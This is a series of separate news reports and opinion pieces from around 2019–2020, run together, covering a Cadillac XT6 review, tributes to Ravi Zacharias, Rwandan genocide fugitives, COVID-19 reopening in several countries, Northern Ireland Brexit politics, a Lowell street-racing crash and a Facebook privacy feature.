An infrared Night Vision system ($2,000), 20-inch polished wheels ($2,095), Driver Assist package ($1,300), Cadillac User Experience ($1,000), Premium Headlamps ($800), Comfort and Air Quality packages ($750) plus Satin Steel Metallic paint ($625) rounded out the options.

My first in person look at the new XT6 was at the 2019 Chicago Auto Show. Following that I had a brief 20-minute test drive at the Midwest Automotive Media Association (MAMA) Fall Rally. Among the reasons for this brief drive is the XT6 is a candidate for the MAMA Luxury Family Vehicle of the Year award.

This time around I had a weeks time with the XT6. As fortune would have it, I would get plenty of seat time since I was driving the XT6 from Chicago to Southeast Michigan for the family Thanksgiving gathering.

Highway road trips provide a good opportunity to test out many features. Car makers equip new vehicles with lots of equipment but not everyone uses everything. Heated seats and steering wheel are wonderful in cold weather. The hands free tailgate makes life easy with a load of travel gear in your hands. Power-folding third-row seat saves lots of climbing around and finding release levers. The remote start made my wife happy when she entered the warm interior.

On the highway the Bose 14-speaker audio plus Apple CarPlay made for great tune and podcast listening. I like smart/adaptive cruise control if the traffic is not too dense. The HUD is great for checking your speed without taking your eyes off the road. My wife handled some business issues via the 4G LTE Wi-Fi hotspot. My mother-in-law questioned the hug she got from the automatic tightening front seat belt. Wireless charging for my iPhone made that convenient, rather than having cords all over the place.

Overall the 2020 Cadillac XT6 has refined and comfortable driving dynamics. The engine and transmission combo work well together to deliver good power with very comfortable overall acceleration and mid-range cruising performance. The XT6 drives smaller than its size would lead you to believe. It has car-like driving manners plus the adaptive suspension equipped on my XT6 smoothed out road imperfections.

EPA test-cycle fuel economy ratings for the XT6 with AWD are 20 mpg combined with 17 city mpg and 24 highway mpg. The FWD models are rated one mpg better in both. The 22 gallon fuel tank on the AWD model can make for over 500 miles of all day cruising.

On our trip east the XT6 got an amazing 28 mpg-even with my lead foot. However, we had a very strong tailwind that day plus heavier, slower traffic which helped to get that fuel mileage. On the way back home heading west we got 25 mpg which seemed to be more the norm.

The XT6 has an automatic engine stop-start that works very smoothly with the intent to reduce both fuel consumption and tailpipe emissions. It comes with a disable off-switch for those times in city driving when you want instant acceleration. Many drivers dislike stop-start. If the system has a disable switch and functions with smooth restarts I am fine with it.

The XT6 fills a big void for Cadillac in the 3-row SUV arena since the large, truck-based Escalade can be a bit of overkill for many. Its equipped with a complete contingent of Advanced Driver-Assistance Systems (ADAS) active safety feature for safer driving. More info and details on the XT6 can be found at www.cadillac.com.

As I wrap-up this review voting is going on to select the winner of the MAMA Luxury Family Vehicle of the Year. The winner will be announced at the MAMA opening breakfast during the 2020 Chicago Auto Show on Feb. 6. Stay tuned to see if the 2020 Cadillac XT6 gets the spotlight.

 2019 Larry Nutson, the Chicago Car Guy
Mike Pence, Kayleigh McEnany honor Ravi Zacharias: 7 words changed his life

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Vice President Mike Pence and White House Press Secretary Kayleigh McEnany paid tribute to Christian apologist Ravi Zacharias Tuesday, hours after it was announced hed died of cancer at age 74.

Pence said in a post on Twitter that he and second lady Karen Pence were [d]eeply saddened to learn of the passing of Ravi Zacharias, a Christian apologist whose ministry for the Gospel of Jesus Christ impacted millions around the world.

Ravi was a man of faith who could rightly handle the word of truth like few others in our time & he was my friend, Pence, an evangelical Christian, wrote.

Upon the death of Abner, the Bible tells us David said do you not know that a prince & a great man has fallen today? Ravi was such a man & he will be missed. Karen & I send our deepest sympathies to his family and know he heard Well done good and faithful servant.

Upon the death of Abner, the Bible tells us David said do you not know that a prince & a great man has fallen today? Ravi was such a man & he will be missed. Karen & I send our deepest sympathies to his family and know he heard Well done good and faithful servant. pic.twitter.com/x8Bsor8OUv  Mike Pence (@Mike_Pence) May 19, 2020

Zacharias eldest daughter, Sarah Davis, first announced her father had passed in a message on Ravi Zacharias International Ministries website in a post titled, Ravi Zacharias, Now With Jesus.

It was his Savior, Jesus Christ, that my dad always wanted most to talk about. Even in his final days, until he lacked the energy and breath to speak, he turned every conversation to Jesus and what the Lord had done, she wrote.

He perpetually marveled that God took a seventeen-year-old skeptic, defeated in hopelessness and unbelief, and called him into a life of glorious hope and belief in the truth of Scripture  a message he would carry across the globe for 48 years.

McEnany, who was hired on April 7 as White House Press Secretary for President Donald Trump, cried as she spoke to CBNs David Brody about the late Christian apologist.

Its a huge loss. My dad said to me that Billy Graham was the great evangelist, and I think Ravi Zacharias is the great apologist, she said through tears. Ravis someone that I never met. I know his team, and I knew some of those who are around him. For me, as a Christian, I always had the heart for Jesus Christ that I got at a very young age. I was saved when I was in my teens."

McEnany attended Oxford University in England as part of a study abroad program at Georgetown University and noted Zacharias presence at Oxford, where the Oxford Centre for Christian Apologetics was first established in 2004.

"To have someone from an academic place, as an apologist who could equip you with those arguments where you didn't have to check your brain at the door when you became a Christian, where there is the intellectual foundation for everything we believe," McEnany said of Zacharias. "There's prophecy. There's the human cell. There's the amazing creation of the human body and all of its complexity and the planet, the universe.

McEnany said that Zacharias put a philosophical and academic rationale to the heart that she had for Jesus.

[He] gave me the ability to go to Oxford, where there are renowned atheist scholars who try to say there's no intellectual undergirding for Christianity," she continued in the interview with CBN. "Ravi Zacharias, who happened to have an office at Oxford, was the person who provided the counter to that, the intelligence behind why we believe what we believe.

Your mind can never get you fully there, its a place only your heart can take you, she added. But Ravi Zacharias provided those steps to put in the mind of an academic, well, I should give the Christian faith some thought."

Oxford Centre for Christian Apologetics is part of RZIM, which says its primary mission is to reach and challenge those who shape the ideas of a culture with the credibility of the Gospel of Jesus Christ.

McEnany said that on Sunday, she had her 6-month-old daughter on her lap as she, her mother-in-law and husband, MLB player Sean Gilmartin, watched one of Zacharias previous sermons.

At the time, she said they knew his time on Earth was short. McEnany reflected on a message Zacharias daughter shared Tuesday when she announced his passing.

I think the words that were at the very bottom of the announcement today of his passing are so important. He had a verse there, it said, Because I live, you also will live, John 14:19," McEnany recalled.

And they said that these seven words changed Ravis life 57 years ago. He was on a bed of suicide, as he described it, and it was a Bible that was handed to him and those words in particular that set him on a 57-year path that has truly saved lives.

Davis said the Bible verse is carved into Zacharias' grandmothers gravestone and it will also be etched on her fathers gravestone.

We thank God for him and recommit our lives to sharing this truth with all who will hear, until He calls us to our eternal home, Davis added.

Details about a public memorial for Zacharias are pending. Davis requested that those interested in sending flowers donate to RZIM instead.
One of Rwanda's most wanted fugitives in the country's genocide died 20 years ago, the international tribunal overseeing justice efforts announced Friday, less than a week after another high-profile fugitive was arrested in France.

Confirmation of the death of former Rwandan defense minister Augustin Bizimana came when a DNA test on remains in a grave in Pointe Noire, Republic of Congo, positively identified him, the International Residual Mechanism for Criminal Tribunals said.

Rwandan authorities say Bizimana was a key player in the 1994 genocide in which more than 800,000 Tutsi and Hutus who tried to protect them were killed.

The identification "is the result of an exhaustive investigation by the Office of the Prosecutor combining advanced technology with extensive field operations, and involved exceptional cooperation with partner authorities in Rwanda, Congo Brazzaville, the Netherlands and the United States, the United Nations mechanism said.

Some survivors found uncomfortable closure.

I wish he lived to face justice in court for his inhuman crimes before his death, said Denis Nsengiyumva, who comes from Bizimana's village.

But even in his death, Bizimana will not rest in peace. about the death came days after the arrest of Felicien Kabuga, another key genocide suspect who is accused of supplying machetes to killers and broadcasting propaganda urging mass slaughter.

Kabuga, a wealthy businessman, was arrested on Saturday outside Paris after 26 years in hiding. He appeared before a French court Wednesday but a decision on his fate was delayed until next week.

His lawyer said the 84-year-old said Kabuga wishes to be tried in France, citing health reasons, but did not give details.

The U.N. tribunal's prosecutor, Serge Brammertz, said a request had been launched for Kabuga's transfer into U.N. custody and he could initially be held at The Hague rather than in Africa because of coronavirus travel restrictions.

Bizimana, who came from the same region as Kabuga, was appointed defense minister in 1993, months before the genocide started.

He is accused of ordering the killing of Prime Minister Agathe Uwilingiyimana and 10 Belgian U.N. peacekeepers, and of supervising the killing of Tutsis in the provinces of Gisenyi, Ruhengeri, Butare, Kibuye and Cyangugu.

Uwilingiyimana was meant to be acting president after President Juvenal Habyarimana's plane was shot down over the capital, Kigali, sparking the 100-day genocide.

Bizimana was indicted by the U.N. International Criminal Tribunal for Rwanda in 1998, facing 13 counts including complicity in genocide, extermination, murder, rape and torture.

With the arrest of Kabuga and the confirmation of Bizimana's death, the Office of the Prosecutor has now accounted for two of the three major fugitives indicted by the tribunal.

The remaining one is Protais Mpiranya, former commander of the Presidential Guard of the Rwandan Armed Forces.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
With no fanfare or even much public notice, Yellowstone National Park has opened its North Entrance at Gardiner to motorists traveling to Silver Gate, Cooke City or beyond.

Rumor of the opening began circulating Thursday morning. By late afternoon the Gardiner Chamber of Commerce had a notice from the park about the opening.

The order states in part: For the purposes of recreating in Cooke City or Silver Gate, MT, you are allowed to proceed through the closure along the park road between the North Entrance and the Northeast Entrance.

While traveling through the closure:

Do not stop in the park, through traffic only.

Do not recreate in the park.

Follow posted speed limits (never more than 45 mph).

Failure to adhere to these restrictions may result in a citation being issued.

The Park Service and Montana Gov. Steve Bullock had been criticized by some Cooke City and Silver Gate business owners who felt they were being unfairly isolated from tourists by the road closure. On Monday, Yellowstone opened its South and East entrances in Wyoming to tourists but not the three Montana gates.

Bullock stated earlier this week that his staff was working with the park to open the Montana gates by June 1, the same date that the state would lift its 14-day quarantine for out-of-state travelers.

Before Bullock, his staff and county health officials feel comfortable opening Montanas park gates, the governor has requested the park consider additional mitigation measures in the park for managing large groups, contingency plans for managing sick employees and visitors, and plans to build capacity for surveillance testing and COVID-19 response needs in gateway communities and among park staff, according to information provided to the Billings Gazette by the governors office. In the end the decision to open the gates will be made jointly, recognizing that the park also has to be confident it can handle increased visitors with limited staffing based on their experiences with a limited reopening this week.

A so-called soft or limited opening was ruled out, the governors office said, because the park lacks the ability to equitably meter travel into and out of the gates among visitors. Just as local businesses need time to ramp up staffing, food distribution and other services, business and community officials will also require time to update operating plans, ensure sanitation protocols and resources are in place, and support public information needs to comply with state and local directives. The current reopening timelines afford local public health and businesses with time to adequately prepare, even as they take on increased visitation independently over the Memorial Day weekend.

The governor will make a formal request to open the parks North and West gates early next week, his office stated.

Park Superintendent Cam Sholly said in a Thursday press release, The decision to reopen Yellowstone is not and has not been a unilateral decision. These decisions are being made in close concert with our state and local partners, including health officials, and with support from the Department of the Interior and the National Park Service. We have implemented a reopening plan that is limited in nature. It gives us time to observe and make adjustments, expand operations if conditions are favorable, and contract them if they are not. We welcome realistic feedback on how we can continue improving our reopening strategy while working together to maintain the safety for our employees and visitors. Keeping Yellowstone closed is not a viable strategy.

Visitation through the first three days of the parks operations was 90% of normal through the East Entrance (near Cody, Wyoming) and approximately 60% of normal through the South Entrance (near Jackson, Wyoming), according to a Park Service press release. Vehicle counts per day are broken down below. The park expects traffic and visitation levels to grow over the Memorial Day Weekend.

Last year, with all five entrances open on these same dates, there were 5,022 cars in the park on May 18, 4,880 cars in the park on May 19, and 4,723 cars on May 20, according to the Park Service. It is estimated over the past three days, there is less than 20% of the normal traffic volume in the park compared to when all five entrances are open at this time of year.

Not opening the Montana entrances has angered business owners in gateway towns and some of their allies. The Montana Free Press reported that last Friday a Bozeman man passed through the North Entrance on his way to Cooke City and was pulled over by park and Park County law enforcement before being arrested.

Tyler Vance posted videos of his attempt to enter the park and his arrest.

Although the Park Service is opening the gate to the communities near the Northeast Entrance, the superintendents order also noted that there is still a mandatory 14-day quarantine in effect for all out of state travelers to Montana. It is your responsibility to follow this order, the document says.

Photos: Yellowstone reopens after COVID-19 shutdown
Since the outbreak of the novel corona virus disease in Wuhan in the Peoples Republic of China, several researchers, health experts and global leaders attention has been focused on the epicenter due to insurgence in the number of cases that that province recorded within the early days of the outbreak.



The intensity of the situation in China begun to create fear and panic if not anxiety across the globe, especially when that country has become an emerging economy and trading partner with almost all countries in the world.



Africa and for that matter Ghana is no exception. In fact, Ghanas relationship with China dates back to the 1960s when the two countries first established diplomatic relations. Since then Ghana has provided substantial diplomatic support to the Peoples Republic of China (PRC) with it reciprocating with material support for Ghanas development. It may interest you to note that in the early 1990s, China built Ghanas National Theatre as a reward for Ghanas diplomatic support. In 2001 after the election of President John Agyekum Kufuor, the Peoples Republic of China gave Ghana an amount of US2.4 million grant to renovate the theatre. This theatre is one of the beautiful edifices that currently stands in the central business district of Accra.



According to the Chinese Ambassador to Ghana, Shi Ting Wang, Trade between Ghana and China stood at US7.3 billion, making Ghana the seventh largest trading partner of China in Africa in 2018 (Ghanaian Times, 2019). This, he said increased by 9.4 per cent from an amount of US$6.67 billion in 2017.



In this article, trade among the two countries is not the focus but the above is just to establish that trade activities between the two countries as a result of globalization could have influenced the exportation of the virus from Wuhan, in China into Ghana. My focus is on how Ghana is showing leadership to contain the spread of the virus and save the dear lives of its citizenry and various measures instituted at the district level to mitigate and contain the spread of the virus.



The writer looks at these measures specifically from the Builsa South District, one of the vibrant districts in the Upper East Region of Ghana.

In the case of Ghana, the recorded cases were established as imported cases, which were influenced by the movement of an individual(s) from affected countries to a country with a zero case or no record of infection.



According to the Minister of Health, in a televised address to the nation, Ghana recorded its first two cases of coronavirus on March 12, 2020, amidst the worldwide pandemic when two people returned from Norway and Turkey. This was again confirmed by the President in his seventh (7th) Address to the nation on the update on the Covid-19 situation in the country.



He said so far, it has been established that the virus was imported into our midst from foreign shores, and is being spread through person to person contact. In fact, as far as there is movement of people, goods and services and trade activities among countries, there was the high possibility of importation or exportation of the novel coronavirus from person to person across the globe. Therefore Ghana was not immune to the virus, since Ghanaians trade among different countries in terms of import or export of goods and services across the globe, participate in educational and exchange programmes, peacekeeping mission among others.



There is some school of thought who believe that early closure of our airport, sea and land borders would have prevented Ghana from recording a case of the novel coronavirus. That assertion cannot be true because once there are movement of people, goods and services from one country to the other, no country can be immune to any global pandemic especially when a country has large population size, undefined entry routes and porous borders as is the case of Ghana.



Since the outbreak, government has taken several measures to contain the spread of the pandemic by adopting the World Health Organization guidelines on COVID  19 including several domestic measures such as a partial lockdown which was recently lifted based on available scientific data and to further lessen the burden of the poor and the vulnerable.



Other measures included the closure of the countrys air, sea and land borders, enhanced contact tracing and aggressive testing of suspected cases which has enabled health experts to identify and isolate infected persons, to protect the population from further infections.



But in the midst of the health crisis, what unique steps is the Builsa South District Assembly taking to fight the disease head-on and to protect the lives of its citizens? The level of development with respect to road infrastructure, springing up of cottage industries and the boom in local economic development activities in the area is remarkable. But what is easily noticeable is the level of preparedness of the District to deal with the albatross of COVID -19.



A survey of the Builsa South District, a place which might be classified as a rural community or district by this writer revealed an amazing level of knowledge and education the people received on the virus. This could not have been achieved without the show of leadership which every district should emulate in this period of crisis.



The District, recognizing it is not immune to the virus especially when the Region has so far recorded 28 cases, adopted a five prong approach thus, Education, Vigilance, Surveillance, Isolate and Treat (EVSIT) to deal with any outbreak and possibly prevent the virus from penetrating the borders of the District. It is also strictly adhering to the safety and preventive guidelines and protocols issued by the Ghana Health Service (GHS) and the World Health Organization (WHO).



The following measures have also been instituted at the district level to help mitigate and prevent the spread of the coronavirus:



1. A COVID  19 Emergency Response Committee was formed and inaugurated to effectively deal with COVID -19 and related cases. The Committee has also been tasked to provide a weekly update on the coronavirus situation in the District for appropriate action.



2. The Assembly is in constant touch with chiefs, Assembly Members, opinion leaders and has encouraged them to report any suspected case or cases to health workers in the District for further investigation.



3. Several meetings have been held with stakeholders. That is; Chiefs, Assembly Members, Faith Based Organizations, Community Based Organizations among others on COVID  19 to sensitize them on the disease and prevention tips. This was followed by the sensitization of the general citizens.



4. The Assembly has also sponsored a jingle and a coronavirus song in the local dialect to sensitize the citizens.



5. Major markets in the District were also closed for two weeks for fumigation and to further prevent natives who moved into the District from the lock down areas after the President of the Republic announced the lock down measures to help prevent the spread of the virus. That is; Fumbisi market, Kanjarga market, Gbedema market and Uwasi market.



6. All public toilets and health facilities were also disinfected during the fumigation exercise.



7. Forty-three (43) Veronica buckets (water storage buckets) and sanitary items were presented to the COVID19 Emergency Response Team and the Fumbisi Health Centre for onward distribution to all health facilities in the District.



8. Veronica buckets (water storage buckets) and sanitary items have also been placed at the entrance of all government institutions and agencies in the District to promote hand washing among staff and clients who transact business with these organizations.



9. Authorities are still in collaboration with the security agencies to enforce the ban on social gathering. That is church activities, Muslim gatherings, funeral activities, parties, marriage ceremonies among others.



10. A newly built CHPS compound has been earmarked as an isolation Centre for coronavirus patient in case the District records a case or cases.



11. Authorities are continuously monitoring the national and regional developments on COVID  19 and reviewing its measures accordingly.



In conclusion, the coronavirus pandemic is not only a health crisis, but a war on economies of the world and must be met with equal measure to restore our economies back to normalcy. The actual fight against the virus is on the ground since the country has started recording community infections. The District Assemblies are often the local authorities representing the government at the grassroots level and should be seen to be showing leadership through the institution of stringent measures to complement the regional and national efforts in combating and containing the spread of the coronavirus.



Meanwhile citizens should be given continuous education and encouragement to comply with the preventive rules of social distancing, regular washing of hands under running water, the use of alcohol based hand sanitizer, avoiding handshaking, avoid touching eyes, nose or mouth with unclean hands, avoiding close contact of one meter or three feet with people who are unwell and staying home and self-isolate oneself from others in the household if he or she feels unwell.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Greater Accra Region is leading in the number of recorded Covid-19 deaths.



The region has so far accounted for 20 out of the 31 Covid-19 deaths recorded in Ghana.



Director-General of the Ghana Health Service (GHS) Dr Patrick Kuma Aboagye disclosed this at the May 21, Covid-19 press briefing in Accra.



Giving further details on the death toll, Dr Aboagye said 17 of the Covid-19 patients who died were males while 14 were females.



28 of the patients had commorbidities,  he said.



He said the Service has so far managed 114 of the cases in Intensive Care Unit (ICU) out of which six passed.



We have 8 patients in ICU now, four at the University of Ghana Medical Centre, two in the Ga East Hospital and two at the Korle Bu Teaching Hospital (KBTH),  he said.



None of the patients in the ICUs are on ventilators, Dr Aboagye said.



Ghana, as at May 21, has recorded 6,269 confirmed Covid-19 cases with 1,898 recoveries.

Source: Daily Guide









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Festus Keyamo, Minister of State for Labour and Employment, has reacted to reports that he led a prosecution team of the Economic and Fi...

Festus Keyamo, Minister of State for Labour and Employment, has reacted to reports that he led a prosecution team of the Economic and Financial Crimes Commission, EFCC, against Godswill Akapbio, Minister of Niger Delta Affairs.





Keyamo insisted he has never been engaged by the EFCC to prosecute Akpabio, who was a former governor of Akwa Ibom State.





The minister stressed that EFCC has never charged or arraigned Akpabio before any court of law in Nigeria over any offence.





In a tweet, Keyamo wondered how he was engaged by the anti-graft agency to prosecute a non-existent charge.

He wrote: Even without searching on Google the cases I have prosecuted, a simple telephone call as a journalist/writer to the spokesperson of the EFCC would have duly informed you that at no time was I ever engaged by the EFCC to prosecute Senator Godswill Akpabio and I never did.





All the stories about that have been nothing but social media nonsense. As far as I can recollect, at no time was Senator Godswill Akpabio charged or arraigned by the EFCC in any court of law for any offence.





So how come I was engaged to prosecute a non-existent charge?





Akpabio had lately come under criticism from Nigerians due to the fraud allegations in the Niger Delta Development Commission, NDDC.





On several occasions, President Muhammadu Buhari has been asked to prevail on Akpabio to resign due to the alleged fraud in the NDDC.
Blue Mountains mayor Mark Greenhill says he is having sleepless nights about plans to reopen the world heritage area to regional tourism from June 1.

There are concerns that the move could trigger a second spike in COVID-19 cases with the influx of visitors to "bottleneck" attractions in an area with a relatively small and ageing population. There have been 27 cases of the virus so far according to NSW Health in the area that normally attracts 4 million visitors annually.

The Blue Mountains was devastated by the bushfires when the pandemic struck. Before the coronavirus outbreak a report estimated almost 2600 jobs were lost with a turnover loss of $560 million.

Anthea Hammon of Scenic World in Katoomba is looking forward to reopening some time next month. Credit:Wolter Peeters

An Australian Bureau of Statistics study released this week found the number of payroll jobs in the Outer West and Blue Mountains dropped between March and April by 5.7 per cent although the state average was 6.9 per cent.
The last thing Northern Ireland needs right now is another row about Brexit. One of the few reassuring things about Covid-19 is that it's reminded people of what really matters. In the words of Nana Akufo-Addo, president of the Republic of Ghana: "We know how to bring the economy back to life. What we do not know is how to bring people back to life." The same goes for Brexit.

Most problems associated with leaving the EU are fixable, with good will. What we don't know is how to put the Humpty Dumpty of normal politics in Northern Ireland together again if petty squabbles over what customs arrangements should be in place next year are allowed to drag us right back to square one.

Some unionists appear to want to risk it, anyway, after the British Government finally conceded that Northern Ireland would, in certain regards, be treated differently than the rest of the UK once the transition period ends.

TUV leader Jim Allister has described it as a "betrayal of the highest order". Loyalist campaigner Jamie Bryson has called for a "combined political unionist strategy to impede, undermine and frustrate all efforts to implement any part of the protocol".

Frustration is understandable. No one likes being made to feel like a fool. Boris Johnson wooed unionists with honeyed words about how they needn't fret about new checks.

The Prime Minister must have known he was bending the truth, to say the very least. It's not an admirable quality in him and makes you wonder what else he's been less than truthful about.

Nonetheless, this isn't the time for unionists to throw their toys out of the pram.

The language of betrayal, whether of the highest or even a lower order, rarely helps. It's even less helpful at a time when unionists have lost what leverage they had over the Government at Westminster.

If they're not careful, they could end up doing more damage to the Union by seeking to undo the controversial protocol than could ever be done by the protocol itself. Ultimately, does it really matter all that much?

Answering questions before the Oireachtas finance committee last January, the chairman of the board of the Irish Revenue Commissioners, Niall Cody, confirmed that less than 6% of imports from non-EU countries were checked as it is and less than 2% were checked physically.

The number of such checks between the UK and the Republic post-Brexit were expected to be correspondingly less frequent even than that. Niall Cody's remarks were warmly welcomed at the time in the Daily Telegraph.

"The idea that issues cannot be solved is demonstrably untrue," it was noted. "There are no insurmountable technological problems, only, thus far, political ones." The co-author of that piece was Sammy Wilson of the DUP.

Nothing has changed because of the new protocol. The idea that issues cannot be solved remains as demonstrably untrue as it ever was.

Even when one looks at the protocol more closely, it's clear that there will only be some new checks on some goods, mainly agricultural produce, which was always bound to be the main sticking point for the EU.

"Some" seems shaky ground on which unionists should be making a last stand, especially when the Government is confident these can be implemented in a "pragmatic, proportionate way".

Admittedly, there may not be much reason to believe a word that comes out of Downing Street right now, but what did pro-Brexit unionists honestly expect to happen when the country left the EU?

Northern Ireland was bound to be in a uniquely vulnerable position after Brexit, as the only part of the UK with an EU land border. Imaginative ways of working around that awkward reality were always going to be needed.

For the most strident critics of the protocol, such as Jim Allister, the new arrangements are effectively the same as staying inside the customs union and they're quoting chapter and verse from detailed clauses in the documents to prove their point.

Most people in Northern Ireland, weary of Brexit and worn down further by the coronavirus battle, would, surely, still rather wait and see what happens in practice, rather than jumping the gun?

The harsh truth for opponents of the protocol is that there's little they can do about it either way.

Jamie Bryson might loudly urge unionists to come together to "impede, undermine and frustrate" implementation of the deal, but short of street protests and blockades, which would be counterproductive politically and economically, they're powerless to stop new checks being imposed.

Do these branches of the unionist family seriously believe, as they claim to do, that those customs checks would be better taking place at the Irish border?

That may, constitutionally speaking, be the proper etiquette, but putting up border posts again would only serve to undermine, rather than cement, Northern Ireland's long-term place in the UK.

They'd be a constant reminder to nationalists that the only way to remove the hated infrastructure would be to vote for unity.

The pressure for a border poll would mount, destabilising Stormont, and all to get rid of a few customs checks which are done overwhelmingly online with the click of a keyboard.

An invisible border on the island helps unionism. Why take unnecessary risks with it just to avoid an equally invisible customs border in the Irish Sea? Realistic compromises are invariably better than ideological purity.

Pragmatists in the DUP appear to be aware of that and are keeping their powder dry for the time being. With an 80-seat majority, the Tory Government is going nowhere soon.

Even if they could see off Boris, his likely replacement is Chancellor Rishi Sunak, a man who was recently reported to have little enthusiasm privately for the ruinous expense of maintaining the Union, when the other members show so little gratitude for the financial benefits they derive from being tied to England.

He denied saying any such thing, but then he would, wouldn't he?

All unionists will accomplish by stamping their feet and making a nuisance of themselves over the protocol is to increase the desire in London to be rid of their bothersome cousins on the fringes altogether, as well as alienating nationalists in Northern Ireland for whom the ability to move without impediment around the island is symbolically non-negotiable.

Nationalists are already using the current Covid-19 crisis to push for Brexit to be postponed, presumably in the hope that it can be stopped altogether.

Unionists shouldn't be making their job easier by picking an unwinnable fight over customs checks that most of us will never even know exist anyway.
A 26-year-old Everett man is facing charges after allegedly racing another car in Lowell, veering off the road and fatally striking two pedestrians, officials said.

Tyriek Brown was driving a black Ford Mustang around 6:30 p.m. Thursday in the westbound travel lane of Pawtucket Boulevard when the Mustang went off the road and struck the pedestrians, according to the office of Middlesex District Attorney Marian Ryan.

The pedestrians have been identified as Jose Medina, 66, and Fernanda Medina, 62, of Lowell, Ryans office said in a statement Friday morning.

Speed was a factor in the crash, the district attorneys office said.

Brown was arrested late Thursday night and has been charged with motor vehicle homicide and manslaughter. He will be arraigned telephonically in Lowell District Court on Friday and is being held pending that arraignment, Ryans office said.

First responders performed life-saving measures on Mr. and Mrs. Medina at the scene before they were transported to Lowell General Hospital where they were pronounced deceased, the statement said.

Brown was also taken to the hospital. He had injuries that were not considered life-threatening, according to the district attorneys office.

The other car allegedly racing with Brown drove off following the crash, the statement said. Investigators want to speak with that driver.

The investigation is ongoing.
Facebook has rolled out a new safety feature in India that will enable users to easily lock their account so that people they are not friends with on the platform cannot view their posts and zoom into and download their profile picture and cover photo.

The feature is especially aimed at women to give them more control over their Facebook experience, the company said. We are deeply aware of the concerns people in India, particularly women, have about protecting their online profile, said Ankhi Das, Public Policy director at Facebook India, in a statement.

Locking the profile applies multiple existing privacy settings and several new measures to a users Facebook profile in a few taps, the company said. Once a user has locked their account, people they are not friends with will no longer be able to see photos and posts -- both historic and new -- and zoom into, share and download profile pictures and cover photos.

We have often heard from young girls that they are hesitant to share about themselves online and are intimidated by the idea of someone misusing their information. I am very happy to see that Facebook is making efforts to learn about their concerns and building products that can give them the experience they want. This new safety feature will give women, especially young girls a chance to express themselves freely, said Ranjana Kumari, director at New Delhi-based women advocacy group Centre for Social Research, in a statement.

A user can lock the account by tapping on More under their name, then tapping the Lock Profile button and the confirmation button that prompts afterward.

Prior to Thursdays announcement, this feature was available to users in Bangladesh, a Facebook spokesperson told TechCrunch.

The new feature appears to be an extension of a similar effort Facebook made in 2017 in India to combat catfishing. That feature, called Profile Picture Guard, allowed users to protect their profile picture from being zoomed into and shared by their friends and those not in the friend list.
The Asante Mampong Municipality has record its first COVID-19 case. Mr Thomas Appiah Kubi, Municipal Chief Executive told journalists at Mampong that, the case which involved a resident of Daaho, was confirmed at the Municipal Government Hospital.



The Asante Mampong Municipality has record its first COVID-19 case.



Mr Thomas Appiah Kubi, Municipal Chief Executive told journalists at Mampong that, the case which involved a resident of Daaho, was confirmed at the Municipal Government Hospital.



He did not give further details, except to say that, the patient had been transferred to Kumasi, while people who had come in close contact with the patient had been identified and quarantined.



Asante Mampong has been working hard to prevent an outbreak of the virus in the Municipality by ensuring that residents adhere strictly to all the preventive protocols outlined by the government and the Ghana Health Service.



Weekly markets in the Municipality have also been temporary shutdown as part of measures to prevent the importation of the virus into the Municipality.



However, with the confirmation of the first case, the Assembly will have to intensify public education, improve surveillance and contact tracing and encourage the people to observe the social distancing protocols, especially in the markets.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Canada is emerging from months of lockdown, but key questions remain unanswered about where Canadians are getting infected with COVID-19 and why case levels remain high in our hardest-hit provinces.

Ontario and Quebec have seen their rate of new cases plateau in recent weeks, still in the hundreds each day, and have little information on the source of infection or what effect reopening will have.

"It's scary. There's a large sense of unknown there," said Dr. Michael Gardam, an infectious disease specialist and chief of staff at Humber River Hospital in Toronto, who is a veteran of SARS and H1N1.

"And there's no way around the fact that this is uncomfortable."

In Ontario, where the number of new daily cases is actually trending upward, testing is falling far below targets and the source of infection for new cases still remains a mystery.

Even local health officials have concerns about lifting lockdown measures.

Dr. Lawrence Loh, the Medical Officer of Health for Peel Region, west of Toronto, said this week the province's move to reopen was "out of step" with the "continuing risk" of the coronavirus pandemic, and recommended delaying easing restrictions.

"We have seen our new cases starting to plateau, but we have just not seen a decline in line with the province's own framework for reopening at this point," he said, adding the region had 20 per cent of all new COVID-19 cases in Ontario last week.

He notes the recent new case levels in the province  between 300 and 500 each day  mirror the levels in the early days of lockdown.

That concern was echoed by Dr. Chris Mackie, the Medical Officer of Health and CEO for the Middlesex London Health Unit in London, Ont., who said the region may need to "reconsider" reopening after case counts rose this week.

"We should not be seeing these sorts of numbers at this stage," he said, adding the local increase, as well as the provincial one, is higher than it should be.

Story continues

"If this continues on for the next few days, we might have to reconsider some of the loosening of public health measures."

The Ontario Ministry of Health could not provide CBC News with a clear picture of where exactly people are getting infected in the province.

"This is ongoing work," a spokesperson said in a statement, and said the issue was being examined by Ontario's Chief Medical Officer of Health Dr. David Williams.

"Dr. Williams has asked the local public health units to collect more specific information from new cases about the possible sources of transmission."

Experts say lifting lockdown measures without a clear picture of where new cases are coming from, and while testing is not at capacity, is cause for concern.

"We're only ever measuring the tip of the iceberg, and so there's a bunch of cases out there that we don't know about, and presumably those cases are transmitting," Gardam said.

"Because you're not testing everybody, you are going to get cases where you don't know where they came from."

Dr. Irfan Dhalla, a physician and University of Toronto medical professor who is also a vice-president at Unity Health Toronto, said Ontario needs to proceed with caution.

"I would be nervous about some elements of the reopening strategy in some areas of the province," he said.

"We need to redouble our efforts to continually improve our understanding of where ongoing transmission is occurring so that we can reopen safely."

Quebec forges ahead with reopening

In Quebec, the number of new cases remains the highest in the country, with 720 new cases and 82 deaths reported Thursday.

Quebec's Director of Public Health Dr. Horacio Arruda said he's still not satisfied with the number of people getting tested in the province, falling well below the capacity to test 20,000 per day.

And the province's latest public health data provides no clear information on why infection continues to occur even after months of lockdown.

Despite this, Quebec is moving ahead with reopening soon.

As of Friday, people from up to three different households in the province will be allowed to gather outside in groups of 10 as long as they maintain physical distancing.

And starting June 1, the province will allow a number of personal care services such as dental clinics and massage therapy to reopen.

